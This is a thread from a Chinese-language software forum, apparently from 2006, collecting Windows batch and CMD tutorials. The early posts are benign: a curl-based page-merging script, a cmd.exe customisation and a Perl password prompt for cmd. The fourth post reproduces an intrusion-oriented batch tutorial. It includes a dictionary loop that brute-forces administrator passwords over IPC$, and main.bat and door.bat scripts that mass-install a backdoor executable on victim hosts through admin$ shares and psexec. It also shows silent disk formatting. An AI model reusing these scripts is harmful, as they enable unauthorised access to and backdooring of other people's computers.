史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 應用軟體使用技術文件
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2006-07-18, 05:44 PM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 軟體 - CMD與Curl雙劍合璧:自動合併多頁主題

CMD與Curl雙劍合璧:自動合併多頁主題

現實需求

當遇到長串傳統的討論帖;
當看到分多頁的軟體教學;
當發現讓人愛不釋手的連載小說的時候。
如何儲存這些有很多分頁的內容就成為了一件冗雜而又枯燥的機械勞動。
無論是手動式複製還是依靠軟體儲存,都需要大量的人為干預,這是身為智慧生物的我們所不能容忍的。
既然電腦的出現就是替代人進行一些繁複的工作的,那為什麼不把盡可能多的工作扔給它們呢?
可惜豆腐目前還沒有發現一款軟體可以滿足我的要求,既然沒有現成的可用那就自己動手吧。

思法分析

要解決一個問題必須先有一個環境,畢竟一個方案不可能通吃所有問題。我們就先設問題是要合併論壇中一般的多頁主題。
要合併一個多頁主題,我們首先得獲取這個主題的每一個分頁的內容,這種重複性的工作讓機器來做是再適合不過的了。
其次我們需要分辨用戶貼出的內容從哪裡開始,在哪裡結束。這部分第一次需要人來完成,後面的就交給機器吧。
最後我們需要獲取我們需要的內容並把它重新組織起來產生最終的成果,這同樣只需機器就可以很好的完成。
只要我們滿足了上面三點,我們就可以把自己從重複勞動中解救出來做其它的事情了。

解決方案

由於進階語言需要專門的教學和配套的軟體,這無形提高了套用的難度,最終豆腐選項了用CMD指令行來完成這個工作。
當然,CMD指令中是沒有獲取網頁內容的功能的,我們還需要Curl這個強大的指令行工具來助我們一臂之力。
我們就以合併CCF精品技術論壇的MPlayer 2006-03-03 K&K 更新在 992 樓為例,順著剛才的思法來一步步嘗試以達到最終的Goal。

網頁抓取

在Curl的說明 下,我們可以輕鬆的通過指令行來抓取我們想要的網頁:


CODE:
curl -o tmp1.txt http://bbs.et8.net/bbs/showthread.ph...9&page=1&pp=15
[Copy to clipboard]


這樣我們就把該主題第一頁的內容儲存在了tmp1.txt文件中。
對於某些需要檢測瀏覽器訊息的網站,我們可以用
CODE:
-A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"
[Copy to clipboard]
來偽裝成IE瀏覽器。
對於需要使用cookies的網站,我們可以用
CODE:
-D cookie1.txt
[Copy to clipboard]
來儲存cookies,用
CODE:
-b cookie1.txt
[Copy to clipboard]
來讀取cookies。
對於防盜鏈的網站,我們可以用
CODE:
-e "http://bbs.et8.net/"
[Copy to clipboard]

來偽裝成從某個相關連線進入的。 再與CMD中強大的 FOR 指令和變數相結合,加上人類的小小智慧,就可以打造出自動抓取該主題的全部內容的指令碼。
分析該主題的URL,我們可以知道 page= 表示頁數,這為自動化處理提供了基礎,同時我們知道該主題有73頁,最終的抓取指令碼如下:


CODE:
@echo off
setlocal ENABLEDELAYEDEXPANSION
set last=1
for /l %%i in (1,1,73) do (
echo %%i
curl -b cookie!last!.txt -D cookie%%i.txt -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" -e "http://bbs.et8.net/bbs/showthread.php?t=634659^&page=!last!^&pp=15" -o tmp%%i.txt http://bbs.et8.net/bbs/showthread.php?t=634659^&page=%%i^&pp=15
set /a last=%%i-1
)
copy tmp*.txt temp.txt
del cookie*.txt
del tmp*.txt
endlocal

[Copy to clipboard]


將上面指令碼儲存為 grab.cmd 執行後我們就的到了儲存了該主題全部73頁內容的 temp.txt 文件。

內容分析

由於CMD字串處理的問題,我們先把 temp.txt 另存為 ANSI 編碼。
分析單頁的內容後豆腐發現該論壇程序在用戶內容開始之前有一個每頁唯一的 <div id="posts">,
而在結束的時候有一個同樣唯一的 <!-- start content table --> ,這正是我們所希望找到的可以作為標誌位的地方。

文本處理

由於 FOR 指令一次只能以同樣的規則處理一行的內容,於是豆腐便採用 FOR 嵌套的方式來處理整個大文件。
先用
CODE:
for /f "delims=" %%i in (temp.txt) do ( echo %%i >tmp.txt )
[Copy to clipboard]
將 temp.txt 的內容一次一行地寫入 tmp.txt。
再套用另一個 FOR 來處理 tmp.txt 的一行。

標誌設定

我們可以通過 FOR 的 delims= 和 tokens= 參數來分割和儲存一行的內容
我們用
CODE:
for /f "tokens=1-3 delims=<->= " %%j in (tmp.txt)
[Copy to clipboard]
參數設定以 "<"、">"、"-"、"="、" "來分割一行,
並把分割後的前三段內容存入 %%j %%k %%l 三個變數中。接著我們用 if 語句來判斷這三個變數是否符合設定標誌位的條件:


CODE:
if "%%j"=="div" if "%%k"=="id" if %%l=="posts" set flag=1
if "%%j"=="start" if "%%k"=="content" if "%%l"=="table" set flag=0

[Copy to clipboard]


flag=1 代表用戶內容開始,flag=0代表用戶內容結束。

內容剪裁

由於CMD指令行處理的限制,HTML中的註釋開始符號 "<!--" 會被處理成 "<--" 這就會造成不期望的內容被顯示出來。
我們可以再加一個 FOR 來解決這個問題:


CODE:
for /f "tokens=1-8 delims=< " %%m in (tmp.txt) do (
if not "%%t"=="-->" if not "%%s"=="-->" if not "%%r"=="-->" if not "%%q"=="-->" if not "%%p"=="-->" if not "%%o"=="-->" if not "%%m"=="ECHO" if !flag!==1 echo %%i >>new.htm)

[Copy to clipboard]


同時,我們也完成了把開始標誌位後的內容存入 new.htm 的工作。

最終指令碼


CODE:
@echo off
setlocal ENABLEDELAYEDEXPANSION
set flag=0
for /f "delims=" %%i in (temp.txt) do (
echo %%i >tmp.txt
for /f "tokens=1-3 delims=<->= " %%j in (tmp.txt) do (
if "%%j"=="div" if "%%k"=="id" if %%l=="posts" set flag=1
if "%%j"=="start" if "%%k"=="content" if "%%l"=="table" set flag=0
for /f "tokens=1-8 delims=< " %%m in (tmp.txt) do (
if not "%%t"=="-->" if not "%%s"=="-->" if not "%%r"=="-->" if not "%%q"=="-->" if not "%%p"=="-->" if not "%%o"=="-->" if not "%%m"=="ECHO" if !flag!==1 echo %%i >>new.htm
)
)
)
del tmp.txt
endlocal

[Copy to clipboard]


儲存指令碼為 merge.cmd 執行後得到合併出的 new.htm 文件就是該主題全部1083帖的內容。

最佳化改進

該指令碼只完成了抓取文本內容的工作,我們還可以通過判斷 IMG 元素來找到圖片內容,
並把 src 內容後面的路徑補完成完整路徑,就可以正確顯示出內容中的圖片。

後記總結

CMD和Curl相結合可以完成很多批量的複雜工作,雖然第一次多花點時間,但之後就可以方便的使用了。
該指令碼可以順利抓取合併CCF精品技術論壇的任意主題以及部分關於vBulletin的論壇,但對於其它論壇還需要分別修改才可使用。

本文為chenke_ikari原創,首發於豆腐的簡陋小屋
本文采用Creative Commons 署名-非商業性使用-相同方式共享 2.5 China 許可傳輸協定 進行許可
__________________
http://bbsimg.qianlong.com/upload/01/08/29/68/1082968_1136014649812.gif
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-09-05, 08:28 AM   #2 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

告別黑底白字 打造漂亮的CMD命令行
雖說DOS命令已是明日黃花,但我們不少時候仍需要用到DOS命令,因此Windows XP系統也還保留有「命令提示字元」,不過整天面對黑底白字的界面實在有些心裡不爽,下面我們就不借助任何外來工具,手工打造個性的「命令提示字元」吧。

第一步:先新增一個.cmd文件,文件名可以自定,我們命名為cmd.cmd吧,在裡面輸入以下內容:

@echo off

echo Microsoft Windows XP

echo 歡迎來到綠色軟件聯盟!!!

echo 今天是%date%

echo 現在已經是%time%

title 綠盟個性cmd.exe

color 3c

@echo on

中間echo後面的文字都可以任意更改,比如加入自己喜歡的座右銘或者其它文字,而%date%和%time%是呼叫系統當前日期和時間,「title 山裡人個性cmd.exe」是更改cmd視窗標題名字。「color 3c」則是設置cmd視窗的前景和背景顏色,前一個數位或字母為背景色,後一個數位或者字母為前景色,下面是一些顏色對應的數位或字母:0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白。編輯好cmd.cmd文件後,我們現在可以把它複製到系統目錄下,如c:/windows。

第二步:在開始表菜單中執行「regedit」打開註冊表編輯器,定位到[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\command processor]下,將「AutoRun」這個DWORD值更改為「%systemroot%\\cmd.cmd」(不含引號),儲存註冊表,在開始表菜單中執行cmd命令看看效果吧,是不是很酷。

另外,如果希望一打開「命令提示字元」就顯示的某個自己需要的命令提示字元,還可以在cmd.cmd文件裡加入這樣的一段代碼,如「prompt C:/windows」,代碼格式為「prompt 名稱」。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-09-12, 12:15 AM   #3 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

給cmd.exe的使用加上口令(使用的是perl腳本)

給cmd.exe的使用加上口令(使用的是perl腳本)

發表時間:2006-4-15 1:16:05 作者: 來源:www.hackbase.com 編輯:


最近 重新鞏固 perl 翻出以前初學的代碼 改了一下 配套 讓win 的cmd 使用 linux 的方法 給cmd 的使用 加上 口令驗證 呵呵
下面的這個是 設置在執行cmd.exe 的時候 自動執行 linux.bat 的 方法:
打開註冊表編輯器,
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
將"AutoRun"="linux.bat"

接著就是 linux.bat的內容了
@echo off
@titel 需要口令的cmd.exe
@color c
@prompt [fire@火焰linux $p]
@doskey pwd=cd $*
@doskey mkdir=md $*
@doskey rmdir=rd $*
@doskey mv=move $*
@doskey clear=cls
@doskey uname=ver
@doskey cp=copy
@D:\perl\bin\perl D:\perl\hello1.pl
rem 上面的 是 執行 我編輯的 perl的 代碼的 命令行 個人的路徑有所不同 請根據自己的情況而定
@D:\perl\1.vbs
rem 這個是 一個 vbs 腳本 執行一個彈出視窗的

@cls
@echo 歡迎來到"火焰" 系統
然後就是 要安裝的 一個工具 就是 上面 要執行的 perl 代碼的工具 ActivePerl
這個程式 是用來 執行 perl 代碼的


好 現在來 寫perl代碼
首先編輯 hello1.pl
內容為:
#!/user/bin/perl -w
use Term::ReadKey;
use Digest::MD5 qw( md5_base64 );#制定一個函數
$pass1=』AV8oud8b3TZCfdl2+3OynQ』;#加密保護保護的代碼
#print 』請輸入你的名字:』;
#$a=<STDIN>;#截取輸入的內容 和shell下的 read類似
#chomp $a;#賦值給a
ReadMode( 』noecho』 );# 關閉回顯
print "請輸入pass(如果輸入錯誤就會自動關閉cmd): ";
$password = ReadLine(0);
chomp $password;
print "\n";
print "你的 password 長度為: [" . length( $password ) . "]\n";
ReadMode( 』restore』 );
$pass=md5_base64($password);#用上面制定的函數對pass的值運算出加密保護保護代碼
if ($pass eq $pass1){
print "口令正確\n";

#print "***************************************";
sleep 1;#延時時間 可以自己決定 不延時的話就直接註釋掉
#驗證是否正確並且延時並且清除輸入
} else {
print "口令錯誤";
sleep 0;
exec 』taskkill』,』/F』,』/IM』,』cmd.exe』;#,』/IM』,』WScript.exe』;#如果錯誤就呼叫系統的 命令殺掉cmd.exe工作行程
}
exit;

然後編輯 一個 得到 上面加密保護保護密碼字元串的 工具
pass.pl 執行這個腳本 只要進入perl 執行工具的目錄中 (也可以在環境變數中加上目錄 那就不需要加目錄執行了)
perl pass.pl 就會讓你輸入口令 然後產生字元串 把字元串 貼上去 替換掉 #加密保護保護後的字元串 的那一行""中的內容就行了

pass.pl 內容如下:
#!/usr/bin/perl -w
use Digest::MD5 qw( md5_base64 );
print " 請輸入需要加密保護保護的字元串:";
$pass=<STDIN>;
chomp $pass;
$pass1=md5_base64($pass);
print "加密保護保護後的字元串為:$pass1 \n";
剩下的 一個是 1.vbs 的內容了 這個可要可不要 我只是為了好看罷了!!
內容如下 :
DIM WSH
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")
WSH.POPUP("歡迎來到 ☆火焰☆ 系統")
這個會跳出一個視窗 顯示上面的文字內容
呵呵 !!!
一個簡單的 加密保護保護 cmd.exe 的使用的 方法就成了
當然 這種方法需要 對 用戶權限進行設置 所以只有 ntfs 格式的才行
因為 在執行過程中 cmd的視窗上方的標題欄 會顯示 讀取 的linux.bat 的準確路徑
就算是 禁用了註冊表 別人只要刪除了 linux.bat 文件 這個對cmd.exe 使用的方法 就沒用了
所以 加了 title 命令 隱藏視窗 輸出路徑
大家只要把 linux.bat 放到 path命令顯示的 任何一個路徑下 就行了!
其實沒什麼技術的東西 只是自己給自己學習 找點樂趣 請大家不要 扔我磚頭!! 扔水果的話
我倒是蠻歡迎的!!
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-09-12, 12:16 AM   #4 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

DOS批處理實現按序號給文件命名(或改名)

看了這個帖子:

編寫一個DOS批處理文件,具有如下功能:將Windows系統目錄下的*.log文件拷貝到新增的目錄LOG中,把該目錄下的目錄列表存入文件dir.txt中,並將所有的log文件按1.log、2.log、3.log…….進行重新命名。
最後一項怎麼實現!!

這是我編寫的
@echo off
xcopy c:\windows\*.log c:\log 拷貝出Windows中所有的*.文件到新增目錄LOG中
dir c:\log>dir.txt 將LOG目錄中的文件訊息存入dir.txt文件中
for /r "c:\log" %%a in (*.log) do for /l %%b (1,1,29) do for %%i in (.log) do ren %%a %%b%%i
這是我寫出來的最後一條命令,雖然可以得到想要的答案。但總覺得麻煩而且不好用。有沒有人可以更改一下看看。

簡明批處理教程
前言

最近對於批處理技術的探討比較熱,也有不少好的批處理程式發佈,但是如果沒有一定的相關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語云:「授人以魚,不如授人以漁。」因為網上好像並沒有一個比較完整的教材,所以抽一點時間寫了這片<< 簡明批處理教程
作者:不詳 來源:傑特學院 加入時間:2004-9-6



前言

最近對於批處理技術的探討比較熱,也有不少好的批處理程式發佈,但是如果沒有一定的相關知識恐怕不容易看懂和理解這些批處理文件,也就更談不上自己動手編寫了,古語云:「授人以魚,不如授人以漁。」因為網上好像並沒有一個比較完整的教材,所以抽一點時間寫了這片<<簡明批處理教程>>給新手朋友們.也獻給所有為實現網路的自由與共享而努力的朋友們.

批處理文件是無格式的文本文件,它包含一條或多條命令。它的文件延伸名為 .bat 或 .cmd。在命令提示下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會呼叫Cmd.exe按照該文件中各個命令出現的順序來逐個執行它們。使用批處理文件(也被稱為批處理程式或腳本),可以簡化日常或重複性任務。當然我們的這個版本的主要內容是介紹批處理在入侵中一些實際運用,例如我們後面要提到的用批處理文件來給系統打修正檔、批量植入後門程式等。下面就開始我們批處理學習之旅吧。

一.簡單批處理內部命令簡介
1.Echo 命令
打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令
表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)

3.Goto 命令
指定跳轉到標籤,找到標籤後,程式將處理從下一行開始的命令。
語法:goto label (label是參數,指定所要轉向的批處理程式中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果這裡的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標籤的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標籤,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令
註釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個註釋的作用,便於別人閱讀和你自己日後修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
執行 Pause 命令時,將顯示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中,驅動器 A 中磁碟上的所有文件均複製到d:\back中。顯示的註釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程式掛起,以便您更換磁碟,然後按任意鍵繼續處理。

6.Call 命令
從一個批處理程式呼叫另一個批處理程式,並且不停止父批處理程式。call 命令接受用作呼叫目標的標籤。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要呼叫的批處理程式的位置和名稱。filename 參數必須具有 .bat 或 .cmd 延伸名。

7.start 命令
呼叫外部程式,所有的DOS命令和命令行程式都可以由start命令來呼叫。
入侵常用參數:
MIN 開始時視窗最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程式
HIGH 在 HIGH 優先級類別開始應用程式
REALTIME 在 REALTIME 優先級類別開始應用程式
WAIT 啟動應用程式並等候它結束
parameters 這些為傳送到命令/程式的參數
執行的應用程式是 32-位 GUI 應用程式時,CMD.EXE 不等應用程式停止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元,從而執行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234……
如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件執行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程式段,m表示執行標號為mem的程式段,e表示執行標號為end的程式段,每個程式段最後都以goto end將程式跳到end標號處,然後程式將顯示good bye,文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串"  待執行的命令
參數如果等於指定的字元串,則條件成立,執行命令,否則執行下一句。(注意是兩個等號)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名  待執行的命令
如果有指定的文件,則條件成立,執行命令,否則執行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數位  待執行的命令
如果返回碼等於指定的數位,則條件成立,執行命令,否則執行下一句。
如if errorlevel 2 goto x2  
DOS程式執行時都會返回一個數位給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

10.for 命令
for 命令是一個比較複雜的命令,主要用於參數在指定的範圍內循環執行命令。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %I

如果命令延伸名被啟用,下列額外的 FOR 命令格式會受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,則指定與目錄名匹配,而不與文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用當前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數位序列。
因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

或者,如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN ('command') DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前,每份文件都已被打開、讀取並經過處理。
處理包括讀取文件,將其分成一行行的文字,然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
呼叫 For 循環。以預定方式,/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代預定解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行註釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
預定分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個範圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號,
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將
每行中的第二個和第三個符號傳遞給 for 程式體;用逗號和/或
空格定界符號。請注意,這個 for 程式體的語句引用 %i 來
取得第二個符號,引用 %j 來取得第三個符號,引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名,您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號,您還需要使用 usebackq 選項,否則,雙引號會
被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明,%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或
'Z' 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;
同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,
用單引號將括號之間的 filenameset 括起來。這樣,該字元
串會被當作一個文件中的一個單一輸入行。

最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將
括號之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進
記憶體,並被當作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外,FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號("),擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件延伸名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件內容
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義,或者沒有找到文件,此組合鍵會擴充
空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和延伸名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名停止。選取類似 %I 的大寫變數名
比較易讀,而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2:

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。
最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程式執行結果傳遞給find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。

sample3:

你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很鬱悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重複性任務。那麼如何實現呢?呵呵,看下去你就會明白了。

主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這裡它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,並copy木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim.txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形,兩個批處理和後門程式(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時新增用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

二.如何在批處理文件中使用參數
批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟碟,所以用的時候需在dos視窗輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,這裡PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.

三.如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
